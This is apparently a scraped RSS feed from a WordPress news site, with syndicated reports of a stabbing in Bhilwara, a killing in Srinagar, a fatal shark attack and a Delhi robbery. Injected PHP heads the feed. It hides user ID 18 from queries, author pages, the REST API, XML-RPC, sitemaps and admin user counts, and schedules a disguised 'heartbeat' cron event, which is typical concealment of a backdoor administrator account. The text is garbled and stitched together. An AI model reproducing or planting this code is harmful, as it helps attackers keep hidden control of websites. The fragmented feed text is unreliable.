add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Internet was shut down after a man was stabbed to death in Bhilwara, Rajasthan appeared first on The Edge Media.
]]>
The man, who was around 19 years old, was slain late Tuesday, according to Bhilwara District Collector Ashish Modi. Modi told: “Prima facie it seems to be a case of personal enmity between teenagers. We have detained three accused in the case.”
Officials claim that all three males seized in connection with the murder of Tapdiya are Muslims. Apart from the police force, Modi stated that the district has sufficient personnel from the Rajasthan Armed Constabulary (RAC) and the Special Task Force (STF).
The post Internet was shut down after a man was stabbed to death in Bhilwara, Rajasthan appeared first on The Edge Media.
]]>The post Terrorists kill a man in Srinagar, the second targeted attack in less than 24 hours appeared first on The Edge Media.
]]>
The victim, named Mohammad Ibrahim, was brought to the hospital in serious condition but was proclaimed dead shortly after the incident. He worked as a salesperson in the shop and was a Bandipora inhabitant. After being closed for 29 years, the business reopened in early 2019.
The post Terrorists kill a man in Srinagar, the second targeted attack in less than 24 hours appeared first on The Edge Media.
]]>The post Man dies following a shark attack in Australia appeared first on The Edge Media.
]]>The man, believed to be in his 20s, was mauled by the shark at Emerald Beach near Coffs Harbour, about six hours north of Sydney, according to paramedics.
Emergency crews, including a helicopter medical team, rushed to the scene just before 11:00am local time on Sunday after receiving calls for help.
Chris Wilson, a New South Wales Ambulance inspector, said paramedics arrived to find local surfers and bystanders attempting to save the man, saying the group was “incredibly brave in a very challenging situation”.
“It was devastating for everybody on the beach this morning,” he said.
“The patient suffered a critical injury to his arm, but despite the best efforts of bystanders, paramedics and other emergency services, the patient couldn’t be revived.”
The Coffs Harbour Lifeguards service said the beach and surrounding waters were closed to swimmers and surfers due to the incident.
“Our sympathies go out to family and friends. Please don’t enter the water in the area,” a Facebook post said.
It was the second fatal shark attack recorded in Australian waters this year, according to the Taronga Conservation Society Australia.
There were 26 maulings in 2020, eight of them fatal, data from the government agency shows.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Man dies following a shark attack in Australia appeared first on The Edge Media.
]]>The post Man arrested for allegedly robbing a person at knife point appeared first on The Edge Media.
]]>The accused has been identified as Virat Singh, a resident of Dabri in southwest Delhi, they said.
On the intervening night of Friday and Saturday, an incident of robbery was reported at Dabri police station, where a man alleged that when he was going home and was near Sitapuri bus stand, Dabri, four men robbed his mobile, ₹ 5,500 and his identity card at knife point, a senior police officer said.
He also alleged that one of the accused stabbed him with a knife during the robbery, police said.
On Tuesday, information was received regarding the criminals involved in the incident. Police reached near Gurjar Dairy, Dharmpura, Najafgarh and apprehended Singh, Deputy Commissioner of Police (Dwarka) Santosh Kumar Meena said.
During interrogation, he disclosed that he was working in a call centre in Gurgaon, but he lost his job during lockdown. He wanted to give an expensive gift to his girlfriend on her birthday, police said.
To fulfil their financial requirements, the accused committed the robbery, they said.
One robbed mobile phone was recovered from Singh’s possession, police said, adding that efforts are being made to nab the other accused persons.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Man arrested for allegedly robbing a person at knife point appeared first on The Edge Media.
]]>